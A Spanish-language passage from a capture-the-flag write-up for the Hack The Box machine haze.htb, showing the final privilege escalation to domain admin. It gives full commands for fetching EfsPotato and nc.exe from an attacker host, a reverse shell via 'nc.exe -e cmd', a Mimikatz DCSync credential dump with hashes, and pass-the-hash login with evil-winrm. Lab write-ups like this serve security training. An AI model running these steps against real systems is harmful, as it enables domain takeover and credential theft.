System Boot Time: 3/30/2025, 12:04:22 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
[02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: VMware, Inc. VMW71.00V.24224532.B64.2408191458, 8/19/2024
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,100 MB
Virtual Memory: Max Size: 5,503 MB
Virtual Memory: Available: 3,224 MB
Virtual Memory: In Use: 2,279 MB
Page File Location(s): C:\pagefile.sys
Domain: haze.htb
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.140.67
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
En este caso, podemos hacer uso de EfsPotato
que abusa de este privilegio de SeImpersonatePrivilege
.
En el repositorio del binario de EfsPotato
, deberemos de compilar el binario desde el equipo. Para ello, primero revisaremos las versiones de Microsoft.Net
que dispone el equipo víctima.
PS C:\ProgramData> dir C:\Windows\Microsoft.Net\Framework\
Directory: C:\Windows\Microsoft.Net\Framework
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 1:34 AM v1.0.3705
d----- 5/8/2021 1:34 AM v1.1.4322
d----- 5/8/2021 1:20 AM v2.0.50727
d----- 3/30/2025 12:14 AM v4.0.30319
Nos descargaremos el archivo EfsPotato.cs
del proyecto de GitHub y levantaremos un servidor web con Python para compartir este archivo al DC
.
❯ ls -l EfsPotato.cs
.rw-rw-r-- gzzcoo gzzcoo 25 KB Sun Mar 30 12:54:37 2025 EfsPotato.cs
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el DC
nos descargaremos el archivo EfsPotato.cs
que estamos compartiendo y lo almacenaremos en C:\ProgramData
.
PS C:\ProgramData> IWR -Uri http://10.10.16.5/EfsPotato.cs -OutFile C:\ProgramData\EfsPotato.cs
PS C:\ProgramData> ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 3/4/2025 10:59 PM Microsoft
d----- 3/4/2025 11:01 PM Package Cache
d----- 3/25/2025 2:24 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 3/4/2025 11:29 PM Splunk Enterprise
d----- 5/8/2021 2:36 AM ssh
d----- 3/4/2025 11:02 PM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 3/4/2025 11:01 PM VMware
-a---- 3/30/2025 4:04 AM 25441 EfsPotato.cs
-a---- 3/30/2025 3:13 AM 770279 PowerView.ps1
Compilaremos elEfsPotato.cs
y verificaremos que se ha creado el archivo EfsPotato.exe
.
PS C:\ProgramData> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
PS C:\ProgramData> ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 3/4/2025 10:59 PM Microsoft
d----- 3/4/2025 11:01 PM Package Cache
d----- 3/25/2025 2:24 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 3/4/2025 11:29 PM Splunk Enterprise
d----- 5/8/2021 2:36 AM ssh
d----- 3/4/2025 11:02 PM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 3/4/2025 11:01 PM VMware
-a---- 3/30/2025 4:04 AM 25441 EfsPotato.cs
-a---- 3/30/2025 4:04 AM 17920 EfsPotato.exe
-a---- 3/30/2025 3:13 AM 770279 PowerView.ps1
Por otro lado, también deberemos de disponer del binario nc.exe
que compartiremos a través del servidor web.
❯ ls -l nc.exe
.rwxr-xr-x gzzcoo gzzcoo 28 KB Sun Mar 30 12:58:00 2025 nc.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Nos descargaremos el binario de nc.exe
en la ruta de C:\ProgramData
.
PS C:\ProgramData> IWR -Uri http://10.10.16.5/nc.exe -OutFile C:\ProgramData\nc.exe
PS C:\ProgramData> ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 3/4/2025 10:59 PM Microsoft
d----- 3/4/2025 11:01 PM Package Cache
d----- 3/25/2025 2:24 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 3/4/2025 11:29 PM Splunk Enterprise
d----- 5/8/2021 2:36 AM ssh
d----- 3/4/2025 11:02 PM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 3/4/2025 11:01 PM VMware
-a---- 3/30/2025 4:04 AM 25441 EfsPotato.cs
-a---- 3/30/2025 4:04 AM 17920 EfsPotato.exe
-a---- 3/30/2025 4:05 AM 28160 nc.exe
-a---- 3/30/2025 3:13 AM 770279 PowerView.ps1
Nos pondremos en escucha con nc
para recibir la Reverse Shell.
❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
Ejecutaremos el EfsPotato.exe
para convertirnos en usuario Administrador y ejecutaremos el nc.exe
para enviarnos una Reverse Shell, este comando lo ejecutará el usuario Administrador.
PS C:\ProgramData> .\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.5 444"
Verificamos que hemos ganado acceso al equipo que nos encontrábamos y nos hemos convertido en usuario NT AUTHORITY\SYSTEM
. Finalmente podemos leer la flag root.txt.
❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.140.67] 61967
Microsoft Windows [Version 10.0.20348.3328]
(c) Microsoft Corporation. All rights reserved.
C:\ProgramData>whoami
whoami
nt authority\system
C:\ProgramData>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
644a3***************************
Dumping NTLM Hash of Administrator via DCSync using Mimikatz
En el punto anterior, nos encontramos como el usuario NT AUTHORITY\SYSTEM
, que es la cuenta más privilegiada del sistema operativo local, pero aún no somos Domain Admin
y es lo que nos interesa para obtener control total sobre el dominio haze.htb
.
Con lo cual, podemos aprovecharnos que somos NT AUTHORITY\SYSTEM
para utilizar Mimikatz
y hacer un DCSync
para obtener el hash NTLM del usuario Administrator que será el Domain Admin.
Teniendo esto presente, dispondremos del binario de Mimikatz.exe
en nuestro equipo y lo compartiremos a través de un servidor web.
❯ ls -l Mimikatz.exe
.rw-r--r-- gzzcoo gzzcoo 1.2 MB Sun Mar 30 13:06:37 2025 Mimikatz.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Nos descargaremos mimikatz
que compartimos y lo almacenaremos en C:\ProgramData
.
C:\ProgramData>certutil.exe -f -urlcache -split http://10.10.16.5/Mimikatz.exe Mimikatz.exe
certutil.exe -f -urlcache -split http://10.10.16.5/Mimikatz.exe Mimikatz.exe
**** Online ****
000000 ...
131308
CertUtil: -URLCache command completed successfully.
Con nuestra shell como NT AUTHORITY\SYSTEM
, ejecutamos Mimikatz en la máquina víctima para llevar a cabo un ataque DCSync, con el objetivo de obtener el hash NTLM del usuario Administrator
, quien es miembro del grupo Domain Admins
. Esta técnica simula el comportamiento de un controlador de dominio y permite extraer los hashes de cualquier usuario del dominio si se tienen los privilegios adecuados.
La ejecución fue exitosa y nos devolvió múltiples credenciales asociadas a la cuenta Administrator
, entre ellas su hash NTLM, que nos permitía autenticarnos directamente usando Pass-the-Hash.
Con este hash ya en nuestro poder, estábamos en condiciones de autenticarnos como Domain Admin en cualquier equipo del dominio haze.htb
, consolidando completamente el compromiso del entorno y demostrando un control total sobre la infraestructura.
C:\ProgramData>mimikatz.exe "lsadump::dcsync /user:CN=Administrator,CN=Users,DC=haze,DC=htb" exit
mimikatz.exe "lsadump::dcsync /user:CN=Administrator,CN=Users,DC=haze,DC=htb" exit
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /user:CN=Administrator,CN=Users,DC=haze,DC=htb
[DC] 'haze.htb' will be the domain
[DC] 'dc01.haze.htb' will be the DC server
[DC] 'CN=Administrator,CN=Users,DC=haze,DC=htb' will be the user account
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 3/20/2025 2:34:49 PM
Object Security ID : S-1-5-21-323145914-28650650-2368316563-500
Object Relative ID : 500
Credentials:
Hash NTLM: 06dc954d32cb91ac2831d67e3e12027f
ntlm- 0: 06dc954d32cb91ac2831d67e3e12027f
ntlm- 1: 060222100e2edc0a5e173b4027d0d7ae
lm - 0: 7a67f9a840029ea3ee20148e0751b022
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : dd9a6ee34b3addab4597d0b2c17c08ac
* Primary:Kerberos-Newer-Keys *
Default Salt : HAZE.HTBAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 71cf24a70eb73f9c3605c44d71e3e7dab2589557edaa9675c550bdcd93232151
aes128_hmac (4096) : ec1358e4aec023c2545b3ad3bcc963b1
des_cbc_md5 (4096) : 6b0b2f2c381fabc2
OldCredentials
aes256_hmac (4096) : 76933cd6fe123ee3fe6c8c69b37ef2259401a94996ae7356be4d7fb79715b8fa
aes128_hmac (4096) : 4f11a5bfac249acf60a6d4363925b194
des_cbc_md5 (4096) : e53e85850d4c5b58
* Primary:Kerberos *
Default Salt : HAZE.HTBAdministrator
Credentials
des_cbc_md5 : 6b0b2f2c381fabc2
OldCredentials
des_cbc_md5 : e53e85850d4c5b58
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 bc48a3645c509b3761176cae261479cb
02 33d377c6a6d9e67f26344d5f3d63a551
03 49dbf5a5d3e618c68c9c1f75a98495f5
04 bc48a3645c509b3761176cae261479cb
05 e1b0e37561087515c63d084649957175
06 ae553f3b5379414726b0e8329a8aa9fc
07 f3c377c63a650b5d019108d3b32903fb
08 8ee87b3959c7a20d1bc18df797d403c1
09 eed3388c0b70b11ccf2e52324df2957d
10 ec6369e3ece1d68cc7ee81f03f792065
11 bc3aa9d4c0f0bdc0e446efb3b26643fb
12 8ee87b3959c7a20d1bc18df797d403c1
13 ffd0a404878f6da4b5f78fd24af23dd1
14 ef4357148ea86ccffd7c0ad7b1ce658d
15 45dc4e151ae1fd9ca4c3ad46253538cb
16 364c2a3fb2b5141437e6addde87ae864
17 d4349c01aabd35e91b635115b9144194
18 7ceaadf391f42fb5ad64fe0ca216e2e4
19 d0187681f4c45dae0f805549d4dc88d2
20 5c20dcdd2846bbab68ede81317fc941c
21 c87db3645c296b58c25018eb357ece2d
22 49f79b90f676ba5523921a7fbfd58fcb
23 27f789bb23519e88e114b4b141aa9d36
24 e8d86cf3ca69608b1841f1b854ca1d6d
25 7d57abccfefe0c58e7cbe5040fae6dc2
26 ba723cd69f9b038601abe0adfd7608da
27 46c1e3ff3a798872818b98489cb0e5b2
28 02cd8f11ddac1f8f4dd3d7cf6464b145
29 79cd377a3d4a806e0bd9e4f278d7a7ad
mimikatz(commandline) # exit
Bye!
Gaining Administrator Access Using NTLM Hash Retrieved via DCSync
Con el hash NTLM del usuario Administrator
obtenido previamente mediante el ataque DCSync con Mimikatz, realizamos un acceso remoto al controlador de dominio DC01
utilizando la técnica de Pass-the-Hash. Primero, verificamos el acceso con NetExec
autenticándonos a WinRM
, verificamos que es correcto el hash NTLM y nos sale como Pwn3d!
.
Realizamos nuevamente Pass-The-Hash (PtH)
para autenticarnos al WinRM como usuario Administrator
y finalmente obtenemos el acceso al DC
como Domain Admin, pudiendo leer la flag root.txt.
❯ nxc winrm $IP -u 'Administrator' -H '06dc954d32cb91ac2831d67e3e12027f'
WINRM 10.129.140.67 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.140.67 5985 DC01 [+] haze.htb\Administrator:06dc954d32cb91ac2831d67e3e12027f (Pwn3d!)
❯ evil-winrm -i $IP -u 'Administrator' -H '06dc954d32cb91ac2831d67e3e12027f'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
644a****************************
Última actualización
¿Te fue útil?